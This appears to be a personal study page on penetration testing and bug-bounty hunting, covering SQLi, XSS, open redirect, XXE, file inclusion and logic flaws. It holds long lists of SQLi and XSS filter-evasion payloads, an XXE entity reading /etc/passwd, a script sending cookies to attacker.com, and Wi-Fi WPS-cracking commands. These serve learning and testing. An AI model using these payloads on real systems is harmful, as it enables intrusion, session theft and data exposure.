Penetration Testing and Bug-Bounty Hunting Attacks

• Across the public internet to the target ?
• Only from another machine in same LAN as the target ?


• From a logged-out state ?
• From a logged-in state ?
• Require fooling a legitimate user into doing something ?


• Require that you've obtained source code from the server ?


• Require that you've managed to get shell access to the target ?
• Require that you have a root shell on the target ?

• A public domain and web site that you control.
• A static IP address, and an incoming port open to your machine.
• A burner email address.
• A burner phone number.
  To receive SMS: FreePhoneNum.com
• A burner credit-card.
• Money (real or fake) to order products.
• If you spend your real money to get behind a paywall or buy a subcription, you may get into an area that has a lot fewer bug-bounty hunters in it, or may be considered lower-risk by the developers.
• An address to ship to.
• Accounts on Shodan and other online-database-type sites.

• The web app (pages shown to user).
• The mobile app (app on smartphone).
• Any other app UI (voice call to phone-menu, SMS interface, etc).
• The browser and add-ons in it.
• APIs (exposed by any server your code can talk to).
• Libraries (that are exposed to your code).
• Servers (that run web app, database, API, authentication, CMS, etc).
• Containers or Operating Systems (that are exposed to your code).
• Repositories that may contain credentials or source code or comments.

• Get web/app server to send attacker's SQL commands to database server:
  SQL Injection (SQLi).
  
  
• Get web/app server to send attacker's commands to back-end app server or to any desired server:
  Server-Side Request Forgery (SSRF).
  
  
• Get web/app server to send attacker's commands to its underlying OS:
  Command Injection.
  
  
• Get template engine in web app to do attacker's bidding:
  Server-Side Template Injection (SSTI).
  
  
• Get web app to return pages with attacker's code in them:
  Code Injection or XSS.
  
  
• Get web app to return contents of files:
  File Inclusion.
  
  
• Get web/app server to send malicious page to another user (first step):
  
  • Store malicious scripting or link in database: via Stored XSS or Open Redirect or SQLi.
  • Store malicious scripting in Web/App Server: via Code Injection.
  Then second step:
  • Get page or user to go somewhere malicious: Cross-Site Scripting.
  • Do web app operations using creds of that user: Cross-Site Request Forgery (CSRF).
  • Do something malicious to user's browser or machine: Browser Exploitation.
  
  
  

• Some terms likely are complete one-step operations: File Inclusion.
• Some terms likely are first step (setup): Code Injection, SSTI.
• Some terms are second step (payload): Browser Exploitation.
• Some terms are first+second step combined: XSS, CSRF.
• Some terms can be any of those: SQLi, Command Injection, SSRF.

• SQLi to read entire table of database back in a page right away. Or,
• SQLi to put malicious script into database, user gets page with script, script does Request Forgery to Web/App Server. Or,
• Code Injection to disable parameter-checking in pages in Web/App Server, SQLi on page to get data out of database.

<img src='nosuchfile' onerror='alert(123);' />
<a onmouseover='alert(234);'>alert here</a>
<script>alert(345);</script>
%<script>3cscript%<script>3ealert(1)%<script>3c/script%<script>3e

+ADw-script+AD4-alert(1);+ADw-/script+AD4-

<script>alert(1);</script>

' OR 1=1 --
' OR 1='1
SLEEP(10) /*' or SLEEP(10) or '“ or SLEEP(10) or “*/
1' or '1'='1
admin'--
SELSELECTECT COUNT(*) from USERS;

admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1

• Reflected (AKA first-order SQLi).
  
  User input from HTTP request is incorporated into SQL operation to database server, and results come back in the page from the app server. It is non-persistent.

  Attacker	--req with malicious SQL-->	Web/App Server	--malicious SQL-->	Database Server
  Attacker	<--page with secret data--	Web/App Server	<--secret data--	Database Server

  
  
  
• Stored (AKA second-order SQLi, or persistent SQLi).
  
  Attacker's code is stored in server and used when other users request pages.. This is persistent. Common in applications where users can communicate with each other, or admins review user-generated content.
  
  

• Return secret data (e.g. passwords) to the Attacker.
• Store malicious script into the database ("stored scripting"), which can later be served in pages to legitimate users.
• Delete or destroy or encrypt (ransomware) the database.
• Maybe weaken security settings on the database.
• Maybe run OS commands on the database server machine.

-- return values starting from row 0, return only 1 row's data
Select Username from users limit 0,1;

-- return values starting from row 0, return only 1 row's data
Select * from users limit 0,1;

• Persistent (stored): attacker's data is stored in server and served to users in pages.
• Non-persistent (reflected): attacker's data is on a link that user somehow clicks on or is redirected to.

• Parameter in URL or in POST is referencing some app URL to go to. For example, an url like "apppage.php&url=newpage.php". The server-side code in apppage.php will do the redirect.
  
  URL parameters likely to do a redirect:
  • url= (or anything with "url" in it)
  • uri= (ditto)
  • dest=
  • continue=
  • redirect=
  • window=
  • next=
  • goto=
  
  
  
• Client page code that redirects:
  • HTML: <meta http-equiv="refresh" content="0; url=newpage.php">
  • JavaScript: document.location='newpage.php';
  • JavaScript: document.URL='newpage.php';
  • JavaScript: window.location.href='newpage.php';
  • JavaScript: window.location.href='newpage.php';
  • JavaScript: window.location.assign('newpage.php');
  • JavaScript: window.location.replace('newpage.php');
  • JavaScript: window.navigate('newpage.php');
  • JavaScript: window.open('newpage.php');
  • JavaScript: document.open('newpage.php');
  • Flask framework: redirect('newpage.php');
  
  
  
• URL trickery:
  • http://victim.org//%0d%0ahttp://attacker.com/
  
  
  

<!ENTITY foo SYSTEM "file:///etc/passwd" >

<!ENTITY foo SYSTEM "http://www.example.com/script.php" >

• Persistent (stored): attacker's XML or DTD is stored in server and served to users in pages.
• Non-persistent (reflected): attacker's data is on a link that user somehow clicks on or is redirected to.

../
..\
....//
%2E%2E%2F
..%252f

• Reflected (AKA rXSS or first-order XSS).
  
  Input to server is "reflected" back in the output from the server. It is non-persistent.
  
  ZAP has a module to look for this automatically. It will generate a request giving some unique value for a parameter, then look to see if that value is in the response page. And do this for all parameters and fields in all URLs and pages, I think. It analyzes how the value appears in the response, determining if it's in a tag attribute, tag text, free text, quoted, etc.
  
  

  Attacker	--sends malicious link-->	User
  		User	--request from malicious link-->	Web/App Server
  		User	<--page with malicious script--	Web/App Server

  
  Somehow attacker gets user to click a link to Web/App Server, but parameters make server return a page that does something malicious, maybe redirect user to some other site, or use user's creds to do web-app operations, or copy a session token or cookie and send it to attacker.
  
  Example:

  http://www.example.com/?name=<script/xss%20src=http://attacker.com/some.js>

  
  
  
• DOM-based.
  
  Malicious code is put in user's DOM, and interacts with a normal web-app page, maybe one that has already been fetched from the server. This is non-persistent.
  
  From Portswigger's "Web Security Academy":
  DOM-based XSS arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.
  
  

  Attacker	--sends malicious link-->	User
  		User	--normal page request-->	Web/App Server
  		User	<--normal page--	Web/App Server

  
  Somehow attacker gets user to click a link that interacts with the existing web page to store something in the browser's DOM (for example, storing an URL parameter into the src attribute of an img tag). Then after the NEXT page is fetched from the web-app server, the code or user input does something malicious, maybe redirect user to some other site, or use user's creds to do web-app operations, or copy a session token or cookie and send it to attacker. This is XSS because the code came from some other domain, but now is executing in the web-app's domain. It can happen just about anywhere that user input is put straight into the current page (DOM), without sending it to the server.
  
  From Excess XSS:
  In reflected or stored XSS, the malicious JavaScript is executed when the page is loaded, as part of the HTML sent by the server.
  
  In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page's legitimate JavaScript treating user input in an unsafe way.
  
  If the code redirects the user to some other site, this is a form of "Open Redirect", where application's page normally redirects to an URL, and somehow you can change this so it goes to URL of Attacker's Server. User may not notice that they're no longer in a trusted app.
  
  Brute's "DOM-based XSS - The 3 Sinks"
  
  [There is another form of DOM-based XSS which is "stored" ? Code comes from database, modifies the DOM, then something bad happens ?]
  
  Another form of DOM-based XSS: attacker uses a proxy to modify the response from the server, and the client code in the DOM reacts by doing something it shouldn't. For example, change "payment succeeded" flag in response from false to true, and see what the client code does. That code is running in application's domain, so it's not the same as the attacker trying to modify the DOM directly. Or the code might be complex or obfuscated, and this is an easy way to turn on hidden features. Change a mode flag in the response from "user" to "admin". Change a debug flag from false to true.
  Jon Bottarini article
  
  
  
• Stored (AKA sXSS, or second-order XSS, or source-based XSS, or persistent XSS).
  
  Attacker's code is stored in server and served to other users in pages. This is persistent. Common in applications where users can communicate with each other, or admins review user-generated content.
  
  

  Attacker	--sends malicious data-->	Web/App Server	--stores malicious data-->	Database Server
  Later ...
  User	--normal page request-->	Web/App Server	--request for data-->	Database Server
  User	<--page with malicious script--	Web/App Server	<--data containing malicious script--	Database Server

  
  Code stored by one user is served to another user, without being sanitized properly. Page does application operations using user's creds, or other malicious things.
  
  [There's really no "cross-site" in this.]
  
  Stored XSS is considered the most serious because:
  • There's no need to make a user click a link (they just use the application).
  • The user is guaranteed to be logged in to the application when they get the code.
  • Many users can be compromised with just one piece of stored code.
  • Even privileged users (who may be more wary of clicking a link) can be compromised.
  • More likely to work with any browser, unlike DOM-based XSS.
  
  
  
• Self-XSS.
  
  Could be any one of the three previous types (reflected, DOM-based, stored), but only affects the current user (attacker).
  
  Maybe this could be used to bypass client-side validation, and probe the server from within a same-origin page. Disable rate-limiting and try passwords, or log in/out repeatedly and see if there's a pattern to session token values.
  
  hacker_snail's "My first attempt at XSS"
  
  
  
• Mutation XSS.
  
  Give page code that is "illegal" in a way that confuses the parsing and scripting engines in the browser. In some cases, you can get a parser to change code from HTML to script.
  
  LiveOverflow's "XSS on Google Search - Sanitizing HTML in The Client?" (video)
  
  
  

• Defacing the app (presenting bad pages to users), embarrassing the company or costing it money.
  
  
• CSRF: do operations using the user's session token and permissions.
  
  
• Phishing: convince users to type login credentials or other sensitive info, for the app or for other sites, into a web-app page that sends the info to the attacker.
  
  
• Cookie-stealing: get script to execute:

  document.location = 'https://attacker.com/inbox?sess='+encodeURIComponent(document.cookie);

  or create new DOM element:

  
  <script>
    var e=document.createElement('img');
    e.src='https://attacker.com/inbox?sess='+encodeURIComponent(document.cookie);
    document.body.appendChild(e);
  </script>
  

  
  
  
• Steal auto-completed data from form fields in web-app page.
  
  
• Exploit the browser to grab browsing history, or do OS commands that result in keylogging or other actions.
  
  
• A malicious attacker could have the web-app page load ads that provide revenue to the attacker, or do "likes" of attacker's page on Facebook.
  
  
• Use the web-app page to send messages or emails to other users.
  
  

Luke Stephens' "How to Upgrade Your XSS Bugs from Medium to Critical"

• Give input and trace where it comes back out. In a tag attribute, or text of a tag, or a string in a script ?
  
  
• Look for any special cases, such as URLs turned into Anchor tags.
  
  
• Figure out how special characters are handled. Maybe give one string of

  '<>:;"

  and see what comes out. The handling of special characters should vary by context: in an URL, in an attribute, in a tag's text, in a script.
  
  

XSS.Cx (a Crawler and Injection Reporting Tool)
int0x33 / 420 (Automated XSS Vulnerability Finder)
XSS Chef (generate HTML and script payloads to order)

Code to put (one at a time) into URL parameters and form fields, and see if they execute or come back in the page source:

"><h1>test</h1>
<iframe src=javascript:alert(1)>
'+alert(1)+'
';alert(1)//
\';alert(1)//
${alert(1)}
alert '1'
alert (/1/)
"onmouseover="alert(1)
" autofocus onfocus=alert(1) x="
http://"onmouseover="alert(1)
<marquee onstart=alert(1)>test</marquee>
"><script>alert(document.cookie)</script>
"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>
<style>img{background-image:url(‘javascript:alert(1)’)}</style>
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
# fake URL param "foo":
?realparam=1&foo=bar’+alert(/XSS/)+’

EdOverflow / bugbounty-cheatsheet / xss.md
RSnake's "XSS cheatsheet"
OWASP's "XSS Filter Evasion Cheat Sheet"
Gareth Heyes' "One XSS cheatsheet to rule them all"
PortSwigger's "XSS cheat sheet"
int0x33's "XSS Payloads, getting past alert(1)"
Zgheb's "XSS Tricks"
XSS Payloads
XSS Polyglot Challenge v2
Jack Masa's XSS Mindmap
Pgaijin66 / XSS-Payloads
RenwaX23 / XSS Without parentheses ()
0xSobky / HackVault / Unleashing an Ultimate XSS Polyglot
JS-Alpha (convert JS code to contain only /[a-z.()]/ characters)

You can introduce script code into an HTML page in four broad ways:

• Script Tags: either standalone or wrapped inside a tag.

  
  <object data="data:text/html,<script>alert(1)</script>">
  <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
  <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click here</a>
  <script/anyjunk>alert(1)</script>
  <script<{alert(1)}/></script>
  <script>a\u006cert(1);</script>
  <script>onerror=alert;throw 1</script>
  <script>{onerror=alert}throw 1</script>
  <script>throw onerror=alert,'some string',123,'haha'</script>
  <script>{onerror=eval}throw'=alert\x281337\x29'</script>
  <script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
  <script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script>
  <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
  <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
  

  
  
  
• Event Handlers:

  
  <style onreadystatechange=alert(1)>
  <object onerror=alert(1)>
  <img src=1 onerror=alert(1)>
  <video src=1 onerror=alert(1)>
  <audio src=1 onerror=alert(1)>
  <x src=1 onerror=alert(1)>Click here</x>
  <img/anyjunk/onerror=alert(1) src=1>
  <img onerror="alert(1)"src=1>
  <img onerror="alert '1'"src=1>
  <img onerror="alert (/1/)"src=1>
  <img src=1 onerror=alert;throw 1;>
  <img src=1 onerror=eval;throw'=alert\x281\x29';>
  <img src=`1`onerror=alert(1)>
  <img/onerror="alert(1)"src=1>
  <img src=1 onerror=a&#x06c;ert(1)>
  <img src=1 onerror=a&#x006c;ert(1)>
  <img src=1 onerror=a&#108;ert(1)>
  <object onerror=debugger;>
  window.setTimeout(function(){ alert(1); }, 3000)
  

  
  
  
• Script Pseudo-Protocols:

  
  <object data=javascript:alert(1)>
  <embed src=javascript:alert(1)>
  <form id=test /><button form=test formaction=javascript:alert(1)>
  <event-source src=javascript:alert(1)>
  <a href="javascript:alert(document.domain)">sometext</a>
  

  
  
  
• Dynamically Evaluated Styles:

  
  <x style=x:expression(alert(1))>
  <x style=behavior:url(#default#time2) onbegin=alert(1)>
  

  
  
  

Also, change the base path used for relative URLs:

<base href="http://attacker.com/badscripts/">
...
<script src="goodscript.js"></script>

• Local File (LFI).

  Attacker	--req for page X-->	Web/App Server
  Attacker	<--results of executing code from local file F--	Web/App Server

• Remote File (RFI).

  Attacker	--req for page X-->	Web/App Server	--req for file F-->	Attacker's Server
  Attacker	<--results of executing code from remote file F--	Web/App Server	<--contents of file F--	Attacker's Server

• Weak default account names and passwords: admin/admin, etc.
  Default Credentials Cheat Sheet
  
  
• Ability to turn on debug or trace mode.
  
  
• Hard-coded or hidden encryption or API keys.
  Sumit Jain's "Finding Hidden API Keys & How to use them"
  
  
  

• Give it dates in the future/past in inappropriate ways.
• Give it negative order numbers or order quantities or payments.
• If it's using encrypted tokens, copy a token from one area to another, or find two places where it's creating the tokens differently.
• If there are multi-stage operations, try to skip a stage or many stages. In a later stage, try to modify data (price, username, amount paid, etc) set and validated in an earlier stage. See how the process changes for users with different privilege levels.
• User1 sends message and then deletes account, user2 tries to reply to the message ?
• Create account User1, store some data, delete account, then try to create new account of same name.
• Violating some constraint that is not enforced (two users with same username or same email address ?).
• Trigger errors everywhere you can, and see how they are handled and reported.
• If some operations are particularly complicated, look at those.
• Modify a password-reset request so it specifies your email address but another user's ID ? article1 article2
• If the application can be tricked into doing something weird/alarming to many users (e.g. flood them with SMS messages), that may not be a security flaw per se, but it could cause damage to the company's reputation.
• Sensitive-information disclosure: for example, if the application reveals something it shouldn't about another user, that may not be a security flaw per se, but it is wrong behavior.

sudo apt install aircrack-ng reaver

ip -c addr			#  get interface name such as wlp18s0
sudo airmon-ng		#  get interface name such as wlp18s0

sudo airmon-ng check
sudo airmon-ng check kill
sudo airmon-ng check
sudo airodump-ng wlp18s0	# get BSSID of target network, such as 00:90:4C:C1:AC:21
# Failed; didn't work for me, probably my interface chip not supported.
ctrl+C to stop
sudo reaver -i wlp18s0 -b THEBSSID -vv -K
# The target network must have activity on it during this time.

sudo airmon-ng start wlp18s0
sudo airodump-ng wlp18s0
# Failed; didn't work for me, probably my interface chip not supported.

# Another way to get SSIDs (and see all signals):
sudo apt install linssid
sudo linssid

sudo apt remove aircrack-ng reaver
sudo rfkill
sudo rfkill unblock all
# May have to reboot a couple of times for networking to get back to normal.